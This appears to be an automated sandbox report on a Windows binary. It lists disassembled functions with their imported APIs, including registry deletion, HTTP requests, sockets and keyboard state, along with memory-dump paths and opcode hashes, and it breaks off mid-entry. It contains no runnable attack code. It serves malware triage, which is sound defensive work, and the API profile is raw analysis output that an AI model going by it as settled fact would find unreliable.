Function 00007FF6BB19AD94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB148E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB148E4F

LoadIconW.USER32 ref: 00007FF6BB19AE50

Strings

stop, xrefs: 00007FF6BB19AE1C
blank, xrefs: 00007FF6BB19ADC9
info, xrefs: 00007FF6BB19ADE8
warning, xrefs: 00007FF6BB19AE36
question, xrefs: 00007FF6BB19AE02

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: IconLoad_invalid_parameter_noinfo
String ID: blank$info$question$stop$warning
API String ID: 4060274358-404129466
Opcode ID: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
Instruction ID: fe54d6edd51b80590c5ea29bd4ad7fdb7064c37e6413d262336a1f165c02a345
Opcode Fuzzy Hash: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
Instruction Fuzzy Hash: 51214B21B1DBC381FA549B1EA90017A6395BF8CB8CF445035EF8D823A6EE7CE406D600

Function 00007FF6BB1D233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB122A54: GetWindowLongPtrW.USER32 ref: 00007FF6BB122A71

GetSystemMetrics.USER32 ref: 00007FF6BB1D23A5
GetSystemMetrics.USER32 ref: 00007FF6BB1D23C4
MoveWindow.USER32 ref: 00007FF6BB1D25F9
SendMessageW.USER32 ref: 00007FF6BB1D261A
SendMessageW.USER32 ref: 00007FF6BB1D263E
ShowWindow.USER32 ref: 00007FF6BB1D265E
InvalidateRect.USER32(?,?,?,00000000,?,?,?,00007FF6BB16AA58), ref: 00007FF6BB1D268B
DefDlgProcW.USER32(?,?,?,00000000,?,?,?,00007FF6BB16AA58), ref: 00007FF6BB1D26B3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction ID: bf96c8fa5d097badcba79ee14783ef489627e882fc5756d01e349a45a1625324
Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction Fuzzy Hash: FFA1F422B58A9392EB688F2DE154B7977A0FB48B48F145035DF1AC3AA0DF3DE851C740

Function 00007FF6BB1BFCC0 Relevance: 12.2, APIs: 8, Instructions: 246registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1C1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF6BB1BFD7B), ref: 00007FF6BB1C1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF6BB1BFDAE
RegOpenKeyExW.ADVAPI32 ref: 00007FF6BB1BFE30
RegDeleteValueW.ADVAPI32 ref: 00007FF6BB1BFEC7
RegCloseKey.ADVAPI32 ref: 00007FF6BB1BFF34
RegCloseKey.ADVAPI32 ref: 00007FF6BB1C0041

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Close$BuffCharConnectDeleteOpenRegistryUpperValue
String ID:
API String ID: 50796853-0
Opcode ID: 18c6e7e98d25ee9453eb8a64695ba93ef2e4c35c66d04af6bd0c68575c4ce73f
Instruction ID: 460b2e152c0fbde3765ba6c1edef17eb51ee5ae28194fcdd32379dd12a9df513
Opcode Fuzzy Hash: 18c6e7e98d25ee9453eb8a64695ba93ef2e4c35c66d04af6bd0c68575c4ce73f
Instruction Fuzzy Hash: 39B14A72B18A4286EB20DF69D4913BD2760FF89B88F018531DB4E97AA6CF3CD115C744

Function 00007FF6BB14443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6BB1444CD
ShowWindow.USER32 ref: 00007FF6BB18A753
ShowWindow.USER32 ref: 00007FF6BB18A7ED

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction ID: 031fb89bf2de25803996b4ac0468e02c5a396aa816344e5ad0f3d6c1e142585b
Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction Fuzzy Hash: 53519021E0C58289FB659B2DD46837D2695BF8EB0CF2C4531CB0EC66F9CE3DA484C640

Function 00007FF6BB1C90A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF6BB1C90D8
GetDC.USER32 ref: 00007FF6BB1C90E0
GetDeviceCaps.GDI32 ref: 00007FF6BB1C90F1
ReleaseDC.USER32 ref: 00007FF6BB1C90FE
CreateFontW.GDI32 ref: 00007FF6BB1C9195
SendMessageW.USER32 ref: 00007FF6BB1C91AB
MoveWindow.USER32 ref: 00007FF6BB1C91F1
SendMessageW.USER32 ref: 00007FF6BB1C9213

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction ID: 1e6c1ddf0cf45a0d98e698985c6d4dc0bd466809396b86c0a4ed96603ad9edd9
Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction Fuzzy Hash: 8E41BA76628681C7E7248F66F454B6ABBA0F788BD9F104135EF8A87B64DF3CD4448B00

Function 00007FF6BB160BBC Relevance: 10.8, APIs: 7, Instructions: 294COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB161001

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
Instruction ID: a6a342ae4ea6c7ecfd558e8297b6bef2b22091739ed21156b9edf8cb2fb15309
Opcode Fuzzy Hash: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
Instruction Fuzzy Hash: 9EC1F332A1C6828AEB618F1D948867E6B99BF49B88F554135DB4F877B5CF3CE841C700

Function 00007FF6BB1A09C4 Relevance: 10.7, APIs: 7, Instructions: 248COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32 ref: 00007FF6BB1A0AAF
SafeArrayAccessData.OLEAUT32 ref: 00007FF6BB1A0B05
SafeArrayAccessData.OLEAUT32 ref: 00007FF6BB1A0BEC
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF6BB1A0C13
SafeArrayAccessData.OLEAUT32 ref: 00007FF6BB1A0C24
SafeArrayAccessData.OLEAUT32 ref: 00007FF6BB1A0C92
SafeArrayAccessData.OLEAUT32 ref: 00007FF6BB1A0D07

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: e4a99def1a7d1c742f5f293e85c9ba40d66ec033807e78c42fddf02de16bff72
Instruction ID: 132d4b69c9a78ba977854d0881ab28c6f2ffc714cbd39023cf618672eec6164e
Opcode Fuzzy Hash: e4a99def1a7d1c742f5f293e85c9ba40d66ec033807e78c42fddf02de16bff72
Instruction Fuzzy Hash: ADA1AC26A086028AFB149B69C5983BC2769FB48B8CF154432DF2DC72E5DF7CE589C740

Function 00007FF6BB122100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction ID: 82eb3964846a6981790479a041ef624abf60d154de05a3db4a90d3cc100c2d33
Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction Fuzzy Hash: 2FA19F72A1C6C187D7748F19A4006AEBB75FB8AB98F544125EB8A53B68CF3DD442CF00

Function 00007FF6BB1CFB28 Relevance: 10.7, APIs: 7, Instructions: 212windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF6BB1CFBED
IsWindowEnabled.USER32 ref: 00007FF6BB1CFBFA
SendMessageW.USER32 ref: 00007FF6BB1CFD22
SendMessageW.USER32 ref: 00007FF6BB1CFE2A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSendWindow$Enabled
String ID:
API String ID: 3694350264-0
Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction ID: 3eeda8e158f2a8c13b34a14bcfcb5b16b2b9b744fc44390031a66d0c93b5c12f
Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction Fuzzy Hash: 48919E21E1968686FB749B19D4557B963A1BF8CB88F584032CB4DCB6B6CF3CE4998301

Function 00007FF6BB199034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF6BB199089
GetKeyboardState.USER32 ref: 00007FF6BB19909D
SetKeyboardState.USER32 ref: 00007FF6BB1990EC
PostMessageW.USER32 ref: 00007FF6BB199122
PostMessageW.USER32 ref: 00007FF6BB199147
PostMessageW.USER32 ref: 00007FF6BB199190
PostMessageW.USER32 ref: 00007FF6BB1991B9

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction ID: c8f344be72231aab81925b1b289fea06b3231f1bd15e8aa7c479fa418a040d4f
Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction Fuzzy Hash: 6E51A012A0D2D196FB618F79650067E6FA1FB4ABC8F4C8074DBC957B67CE29E452C320

Function 00007FF6BB198E18 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF6BB198E69
GetKeyboardState.USER32 ref: 00007FF6BB198E7D
SetKeyboardState.USER32 ref: 00007FF6BB198ECC
PostMessageW.USER32 ref: 00007FF6BB198EF9
PostMessageW.USER32 ref: 00007FF6BB198F21
PostMessageW.USER32 ref: 00007FF6BB198F6C
PostMessageW.USER32 ref: 00007FF6BB198F98

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction ID: 1a9cf3d9f1cd412fe524256c69d146e327389486f8fc93c8c36b6b1191805cfb
Opcode Fuzzy Hash: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction Fuzzy Hash: CF51C062A0C2D156FB718B796110A7E6FA1FB4ABC8F489074DBC987E57CE08E4568321

Function 00007FF6BB1ADBF0 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF6BB1ADC5F
HttpOpenRequestW.WININET ref: 00007FF6BB1ADCA9
InternetCloseHandle.WININET ref: 00007FF6BB1ADDC0

Part of subcall function 00007FF6BB1AEAB8: GetLastError.KERNEL32 ref: 00007FF6BB1AEAD4
Part of subcall function 00007FF6BB1AEAB8: SetEvent.KERNEL32 ref: 00007FF6BB1AEAE9

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
String ID:
API String ID: 3401586794-0
Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction ID: 63667f5c9ac8336382da3fb2baca8d234cc5c6d0a79a4e6eb931585b23d7b7c4
Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction Fuzzy Hash: A751A326608B4286E714DF29E940AAE67A0FB4CB8CF544035DF1D97B64DF39E459CB40

Function 00007FF6BB1C9248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6BB1C928B
GetWindowLongW.USER32 ref: 00007FF6BB1C9313
SendMessageW.USER32 ref: 00007FF6BB1C935A
SendMessageW.USER32 ref: 00007FF6BB1C9389
GetWindowLongW.USER32 ref: 00007FF6BB1C93A0
SetWindowLongPtrW.USER32(?,?,?,00007FF6BB1CDF83), ref: 00007FF6BB1C93C4

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: LongMessageSendWindow
String ID:
API String ID: 3360111000-0
Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction ID: 15e0e502e7509a75af3e526c0fac1044d126e3c9b6a501aaabd2a5b01c3a66a2
Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction Fuzzy Hash: F7415926A18A5685EA608F2EE5916793360FBC9F98F245132CB1EC7BB5CF3DE441C300

Function 00007FF6BB1B37A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1B5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF6BB1B37FB), ref: 00007FF6BB1B5E4D

socket.WSOCK32 ref: 00007FF6BB1B3827
WSAGetLastError.WSOCK32 ref: 00007FF6BB1B3836

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction ID: 2821786360b4adaed7eff17c330810352125a1084bde56086d159b36caaf77d0
Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction Fuzzy Hash: 59418172A0868282E7209F2AE4442AD7360FB89BA8F544735DF5E877A5CF3CE545C700

Function 00007FF6BB1C15C4 Relevance: 10.6, APIs: 7, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32 ref: 00007FF6BB1C161B
RegOpenKeyExW.ADVAPI32 ref: 00007FF6BB1C164F
FreeLibrary.KERNEL32 ref: 00007FF6BB1C1742

Part of subcall function 00007FF6BB1C15C4: RegCloseKey.ADVAPI32 ref: 00007FF6BB1C1675
Part of subcall function 00007FF6BB1C15C4: FreeLibrary.KERNEL32 ref: 00007FF6BB1C16D5
Part of subcall function 00007FF6BB1C15C4: RegEnumKeyExW.ADVAPI32 ref: 00007FF6BB1C1712

RegDeleteKeyW.ADVAPI32 ref: 00007FF6BB1C16C1

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: d1d8bf5937bffa04a585e1c3e8d3a5dfb2b3d01d6cd9d7eb2bde5fff57a10d68
Instruction ID: 9144eac343f189040cad48e5fd5988b37bf4c8c05498c3df1702c0d7f2033f2e
Opcode Fuzzy Hash: d1d8bf5937bffa04a585e1c3e8d3a5dfb2b3d01d6cd9d7eb2bde5fff57a10d68
Instruction Fuzzy Hash: 4F419232A58B8596E720CF15E4547EE63A0FB8D788F940131EB8D8BA68CF7DD159CB00

Function 00007FF6BB194FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6BB195028
MultiByteToWideChar.KERNEL32 ref: 00007FF6BB195059
SysAllocString.OLEAUT32 ref: 00007FF6BB195062
SysAllocString.OLEAUT32 ref: 00007FF6BB195086
SysFreeString.OLEAUT32 ref: 00007FF6BB195092
StringFromGUID2.OLE32 ref: 00007FF6BB1950B0
SysAllocString.OLEAUT32 ref: 00007FF6BB1950BF

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 25a170339ac7b752a749b8cbe6371017fe33a5f1f52912a62420eb4b7249f3da
Instruction ID: af03175373e27fbc956eda778bc84ceed71391c80d2651c89396f36279aa91ff
Opcode Fuzzy Hash: 25a170339ac7b752a749b8cbe6371017fe33a5f1f52912a62420eb4b7249f3da
Instruction Fuzzy Hash: 04316F31B08B8685EB649F1AF44417973A0FB89FD8F488236DB9E937A5CE3CE4458744

Function 00007FF6BB194EB0 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6BB194F03
MultiByteToWideChar.KERNEL32 ref: 00007FF6BB194F34
SysAllocString.OLEAUT32 ref: 00007FF6BB194F3D
SysAllocString.OLEAUT32 ref: 00007FF6BB194FA5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

